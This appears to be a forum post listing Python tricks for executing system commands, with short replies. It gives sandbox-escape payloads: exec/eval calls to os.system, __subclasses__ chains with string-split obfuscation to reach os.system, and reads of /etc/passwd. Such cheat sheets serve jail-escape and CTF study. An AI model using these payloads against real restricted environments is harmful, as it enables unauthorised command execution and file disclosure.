Execute System Commands in Python (Reference)

If you guys get any other tricks, please let me know, we can improve and perfect it, and forgive my poor english.

type 1: keywords

  1. exec('import os ;os.system("ls")')
  2. eval('__import__("os").system("ls")')
  3. f'''{__import__('os').system('ls')}'''
  4. [].__class__.__mro__[-1].__subclasses__()
  5. _builtin__.open('/etc/passwd')
  6. system('ls')
  7. [].__class__.__base__.__subclasses__()[59]()._module.linecache.__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s') # only python2
  8. [].__class__.__base__.__subclasses__()[59](linecache.getlines, '/etc/password')
  9. [].__class__.__base__.__subclasses__()[59](exec, '("__import__("os").system("ls")")')

type 2: python lib

  1. subprocess.Popen('ls')
  2. os.popen('ls')
  3. importlib
  4. builtins.open('/etc/passwd')
  5. linecache.getlines('/etc/passwd')

type 3: python import

  1. __import
  2. import
  3. importlib

type 4: other

  1.    import sys
       import NB
  2. base64 deocde encode

  3. pickle



Hi! This is pretty cool.

May I suggest using multi-line code formatting for all of the examples? I would think it would be easier to copy and read that way!


yeah, no problem. you can add it make us to know it. thanks.

That’s a great job. Thanks buddy.

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